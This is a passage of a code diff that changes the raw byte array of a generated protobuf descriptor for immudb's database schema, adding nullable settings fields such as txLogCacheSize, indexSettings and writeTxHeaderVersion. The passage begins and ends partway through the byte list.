0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, - 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, - 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, - 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, - 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, - 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, - 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, + 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, + 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, + 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, + 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, + 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, + 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, + 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, + 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, + 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, + 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, - 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, - 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, + 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, + 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, - 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, - 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, - 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, - 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 